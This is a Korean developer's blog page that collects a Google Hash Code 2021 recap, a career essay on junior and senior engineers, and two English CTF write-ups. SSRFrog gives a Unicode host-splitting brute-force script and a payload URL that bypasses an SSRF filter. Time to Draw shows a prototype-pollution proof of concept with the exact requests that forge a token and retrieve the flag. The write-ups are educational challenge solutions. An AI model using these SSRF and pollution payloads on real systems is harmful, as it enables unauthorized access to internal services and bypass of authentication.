가짜개발자(Toy Programmer)팀은 회사에서 알고리즘 공부를 같이 하던 동기 4명이서 출전한 팀이다.

첫 출전 치곤 나쁘지 않은 성적이라 생각한다.

Google Hashcode란

오랜만에 포스팅을 올린다.

 

Google에는 3가지 종류의 Coding Competition이 있는데, Codejam, Kickstart, Hashcode이다.

 

Codejam과 Kickstart은 여러 번 참여해본 경험이 있는데 hashcode의 경우 팀전이기도 하고, 뭐 어떤 문제를 푸는지 그런 정보도 모르고 대회 시간이 새벽이기도 해서 별 생각 없었다가, 회사 동기형의 추천으로 어째저째 회사 동기들 4명으로 팀을 꾸리게 되었다.

 

같이 알고리즘 공부를 하던 친구들이라 딱히 크게 준비는 안해도 어느정도는 풀지 않을까 싶었다. 그리고 동기형네 파트 사람이 추천해줘서 어느정도 정보도 있었고, 같이 시험을 볼 장소 등도 제공이 되었다.

 

시험 방식

hashcode는 kickstart, codejam과는 조금 비슷하면서 다른 coding competition이다.

일단 2~4인의 팀을 꾸려야 하며, 혼자서는 참여할 수 없다. 만약 같이 참여할 사람이 없다면 hub나 facebook 커뮤니티 등에서 팀원을 찾아서 같이 참여할 수 있다.

Hub는 hashcode 사이트에서 제공하는 커뮤니티로, 학교나 회사 등의 물리적 지역의 거점으로 팀원을 찾을 수 있는 커뮤니티 같은 것이다. 예전에는 물리적인 hub로 장소가 정해져있던것으로 보이는데, 2021년 올해에는 코로나 때문에 Virtual Hub라고 해서 온라인으로 된 hub를 제공하는 것 같다.

 

문제 형식

일반적인 Algorithm Problem Solving 대회에서 출제하는, 결정적 알고리즘으로 Correctness, Performance(Time/Memory)를 측정하여 Pass/Fail을 체크하는 것이 아니라, NP 문제와 같은 문제를 근사해를 통해 구해서 최대한 높은 점수를 내는 방식이다. Topcoder의 Marathon Match와 비슷한 유형의 문제이다.

다만 탑코더 마라톤 매치는 1~2주 씩 진행하는 것에 비해, 이 해시코드는 3시간 30분 내에 4명의 팀에서 하나의 문제를 푼다는 점이 다르다.

그리고 대략 5~6개 정도의 Test Case Input을 모두 제공하며, 이 데이터 셋의 특성에 따라 각각 다른 방식으로 Output을 만들어내어 제출해도 관계없다. 그리고 Output 파일을 만들기 위한 소스코드도 제출하긴 하는데, 치팅 등을 확인하기 위한 용도로만 보이고, 크게 중요해 보이진 않았다. zip파일로 소스코드를 제출할 수 있게 되어있는 것으로 보아서, test case별로 다른 소스코드를 작성한 경우 압축해서 업로드 하면 되는 것으로 보인다.

 

그리고 여러번 제출하면, 각각 test case중에서 가장 높은 점수를 기준으로 반영이 된다.

후기

사실 나는 학부시절 ICPC도 출전해보지 못해서, 팀 단위의 Coding Competition은 출전해본 적이 없다.(해커톤은 있긴 하구나) 따라서 첫 팀전 코딩대회로서의 의미가 있었다고 생각한다.

제작년 다른 팀 후기들을 보면, Test Case별로 각자 하나씩 잡아서 코딩을 했다고 하는데, 이번 문제의 경우는 하나의 Source Code로 모든 input test case를 죄다 돌린 뒤 제출을 계속하는 방식으로 진행했었다.

 

개개인이 코딩에 집중하였을때 서로 말 걸면 반응하기 쉽지 않았던 점을 다음해 대회 진행때 참고해야 할 것 같다.

 

오랜만에 회사생활의 반복됨에서 빠져나와 살아있음을 느끼게 해 준 대회였다.

 

제출했던 코드들 등은 팀원 중 한명인 happy hacker가 업로드한 아래 깃허브에서 확인해볼 수 있다.

github.com/hhkers/hashcode-2021

 

hhkers/hashcode-2021

Contribute to hhkers/hashcode-2021 development by creating an account on GitHub.

github.com

 

그리고 다른 데이터셋으로 kaggle에서 문제를 풀어볼 수 있다고 하니, 관심있으면 kaggle에 참여해보자.

www.kaggle.com/c/hashcode-2021-oqr-extension

 

Hash Code 2021 - Traffic Signaling

Optimize city traffic in this extension of the 2021 Hash Code qualifier

www.kaggle.com

 

SSRFrog

If you see the view-source of html code, you can easily find the syntax below.

FLAG is on this server: http://the.c0o0o0l-fl444g.server.internal:80

It also provides back-end source code

const express = require("express");
const http = require("http");

const app = express();

app.get("/source", (req, res) => {
    return res.sendFile(__filename);
})
app.get('/', (req, res) => {
    const { url } = req.query;
    if (!url || typeof url !== 'string') return res.sendFile(__dirname + "/index.html");

    // no duplicate characters in `url`
    if (url.length !== new Set(url).size) return res.sendFile(__dirname + "/frog.png");

    try {
        http.get(url, resp => {
            resp.setEncoding("utf-8");
            resp.statusCode === 200 ? resp.on('data', data => res.send(data)) : res.send(":(");
        }).on('error', () => res.send("WTF?"));
    } catch (error) {
        res.send("WTF?");
    }
});

app.listen(3000, '0.0.0.0');

It is a kind of SSRF(Server side request forgery) challenge.

But there are filters checking data type, input type.

if (url.length !== new Set(url).size) return res.sendFile(__dirname + "/frog.png");

The filter code above means, no duplicate characters are not allowed.

If you use character a 'x', you cannot use that char anymore. Because, data-structure Set reduces duplicate element.

 

To make the url http://the.c0o0o0l-fl444g.server.internal:80 with no duplicate word is main challenge detail. 

Host splitting attack

By using host splitting attack, we can do that.

Main reason the host splitting attack is possible, the unicode normalization spec of http implementation.

If you try to connect http://www.ⓐⓑⓒ.com, it will normalized to www.abc.com, this behavior is not bug.

 

I tried bruteforce all range in unicode char, can make similar characters with target domain.

 

#-*- coding:utf-8 -*-

import sys

target = "HTtP:/\\the.c0o0o0l-fl444g.server.internal"
ans = list(target)
print (ans)
print (len(ans))
chars = set(target)
req = {}
for c in chars:
    if target.count(c) > 1:
     req[c] = target.count(c) - 1
print (req)
for v in (range(256, 0xffff)):
    try:
        if len(req) == 0:
            break
        result = chr(v).encode('idna').decode('utf-8')
        if result in req.keys():
            print(result, v, chr(v))
            for i in range(len(ans)):
                if ans[i] == result:
                    ans[i] = chr(v)
                    break
            req[result] = req[result] - 1
            if req[result] == 0:
                del req[result]
    except:
        pass
print (req)
print ("HTtP:/\\" + "".join(ans)[7:])

# new URL("HTtP:/\ⓣhℯ.c⁰ℴ₀o0ˡ-fℒ⁴₄4g.sℰʳvⅇℛ.iⁿTernal").origin == 'http://the.c0o0o0l-fl444g.server.internal'

It returns similar host name.

But it doesn't work at javascript function, because of invalid dot(.) substitution unicode character.

 

So, I run bruteforce with javascript

When you type the below value, you can get the flag!

HTtP:/\ⓣhℯ。c⁰ℴ₀o0ˡ-fℒ⁴₄4g.sℰʳvⅇℛ.iⁿTernal

Time to Draw

This challenge provides server code too.

I didn't back-up challenge details, only solved the problem.

 

Main vulnerability is prototype pollution.

Prototype pollution

Prototype is javascript feature.

blog.coderifleman.com/2019/07/19/prototype-pollution-attacks-in-nodejs/

As the link say, prototype pollution is like belowed.

__proto__ === Object.prototype

If you can change the value of someVariable.__proto__.token, you can change all token member variable of object that does not have member variable name 'token'.

 

Example PoC code is like below.

canvas = Array();

canvas['__proto__']['token'] = 'my_evil_value';

var other_object = {};

console.log(other_object.token); // 'my_evil_value';

other_object.token should be the undefined variable, but prototype.token value is polluted, you can get the specific value.

 

I get the hash value of my custom ip and token

➜  ~ node
Welcome to Node.js v12.19.0.
Type ".help" for more information.
> var crypto = require('crypto');
undefined
> const hash = (token) => crypto.createHash("sha256").update(token).digest('hex');
undefined
> hash("42.29.23.221234567890123456")
'f6726c5dcd8635dd2ae8da8dcef74bdfca22c5a27e309ef7bec5f533a7b4ffb6'
>

You can pollute with the request below

http://chall.ctf.bamboofox.tw:8787/api/draw?x=__proto__&y=token&color=f6726c5dcd8635dd2ae8da8dcef74bdfca22c5a27e309ef7bec5f533a7b4ffb6

Then, you can get the flag with the request below

http://chall.ctf.bamboofox.tw:8787/flag?token=1234567890123456

Without admin cookie, userData.token === undefined, but with polluted prototype, you can bypass the check.

 

flag{baby.proto.pollution.js}

회사 생활 무난하게 잘 하다가 갑자기 뻘글을 써본다.

 

나는 아직 주니어다. 지금 직장에 2018년 7월쯤에 입사를 했고, 지금 글을 쓰는 2021년 1월 현재 2년하고 반정도 지났다.

이전에 스타트업에 11개월정도 근무를 했으니 총 근무 년수는 3년 반 정도 된다고 볼 수 있다.

 

뭐 이정도 경력이면 주니어 인가? 라는 질문에 그렇다고 대답하는 회사도 있을 수 있고 아닐 수도 있고. 그러면 주니어란 무엇일까 한번 생각해보자.

 

주니어와 시니어를 가르는 차이는?

사실 명확하게 정의된 단어는 아니다. 하지만 여기서는 이렇게 정의해보고자 한다.

업무 방향을 잡고 혼자서 잘 업무를 이끌어가거나, 다른 동료를 이끌어 갈 수 있는 사람을 시니어라고 생각해보자.

그러면 시니어에게 이끌려 가는 사람은 주니어가 된다.

 

주니어는 언제까지 주니어인가?

그러면 주니어는 언제까지 주니어일 것인가? 시니어의 도움이 필요없게 되어 스스로 업무를 이끌어 나갈 수 있으면 시니어가 되는 것인가? 그러면 어떻게 하면 스스로 업무를 이끌어 나갈 수 있게 되는가?

 

업무 경험이 많아져서 왠만한 업무들을 잘 하게 되면 시니어 인가?

그러면 경력이 적당히 쌓이면 시니어가 되는 것인가?

아니면 박사 학위를 취득하면 시니어로 시작을 하는 것인가?

 

IT나 엔지니어링 분야에서 중요한 명제가 하나 있다. "경력 = 실력 이 아니라는 것"이다.

 

단순히 경력이 쌓인다고 해서 시니어가 될 수 있는 업무 역량과 리딩 능력이 생기지는 않는다는 것이다.

 

주니어는 그러면 따르기만 하면 되는 것인가?

주니어는 시니어의 리드를 따르면 되기 때문에 그 것만 계속 하면 되는 것일까?

아니면 시니어의 리드랑 상관없이 스스로 의견을 내고 그 대로 해본다던지 등을 해야 하는 것인가?

 

주니어로 몇 년 이상 있으면 저절로 시니어가 될까?

 

사실 이와 관련된 관용어로서 이러한 말이 있다.

 

"자리가 사람을 만든다."

 

군대의 분대장들은 분대장이 될 리더쉽이 있기 때문에 분대장을 하는 것일까, 아니면 분대장이라는 자리가 분대장답게 사람을 만드는 것일까?

 

사실 둘 다라고 볼 수 있겠다.

 

분대장을 될 만큼 최소한의 군대생활 경험이 쌓였으며, 동기 적정한 짬을 먹은 사람 중 분대장에 더 적합하고 하고싶어하는 자가 분대장이 된다. 그리고 분대장의 위치에 있으면서 필요한 능력들을 스스로 찾아내고 하려고 할 것이다.

 

스스로 생각한다는 것은

사실 주니어 개발자라고 한 들 무조건적으로 시니어의 말이 다 맞다고 생각하고 따를 필요는 없다. 때때로 개인의 의견을 내보고 다른사람들과 의견이 어떤점에서 다른지 이러한 부분들을 항상 고민하고 생각해야 한다.

 

시니어로 쳐주는 연차가 되었다고 해서 딱 하고 시니어의 인사이트와 리딩 능력이 생기진 않는다. 주니어때부터 끊임없이 연구하고 고민하고 의견을 내고 시도하고 학습해야 자연스럽게 시니어 포지션이 요구하는 인사이트와 능력이 생기는 것이다.

 

시니어들이 주니어에게 의견을 물어볼 수 있다. 이러한 질문을 던지는 것 자체가 주니어가 성장할 수 있는 발판이라고 생각한다.

나는 아직 주니어라서 모르겠다고 하는 것은 스스로의 한계를 규정짓은 행위이다. 

물론 이때 내리는 판단이 틀릴 수 있지만, 또 스스로의 실패로부터 배우고 나아가는 과정 하나하나가 중요한 포인트가 될 것이다.

Problem based learning

PBL이라고 하는 학습법이 이러한 부분에 도움이 되지 않을까 싶다. 뭔가 어려운 난제, 해결법이 명확하지 않은 문제에 대해 지레 겁먹고 이건 별 방법이 없을거야 하고 포기하는 것과, 어떻게든 고민해서 해결법을 찾아보는 것. 두 가지 태도는 확연히 다른 결과를 낸다. 어려운 난제에 대한 해결법은 남들도 다 모르기 때문에, 어떻게든 접근해서 해결 비슷한 것이라고 한다면 그것은 무조건 성과가 된다.

이미 성과가 난 이후 "아 그래 이렇게 쉽게 되잖아?" 라고 하는 것은 이미 처음 해결법을 발견한 사람과는 상당한 격차가 있다. 콜럼버스의 달걀과 같은 것이다.

 

자신이 관심있는 문제에 득달같이 달려들어서 최대한 고민하고, 생각하여 무엇이라도 결과를 만들어 낸다면 그 자체가 본인의 성장에 대한 좋은 자양분이 될 것이다.

 

주도적으로 생각하고, 표현하라

감이 안잡히는 경우 자신만의 접근 방법을 알아내어 어떻게든 자신만의 의견을 낸 뒤, 이를 표현하라. 이러한 태도는 분야를 막론하고 자기자신을 주도적이고 진취적인 사람으로 만들어 줄 것이며 성장의 밑거름이 되는 핵심적인 태도라고 생각한다.

+ Recent posts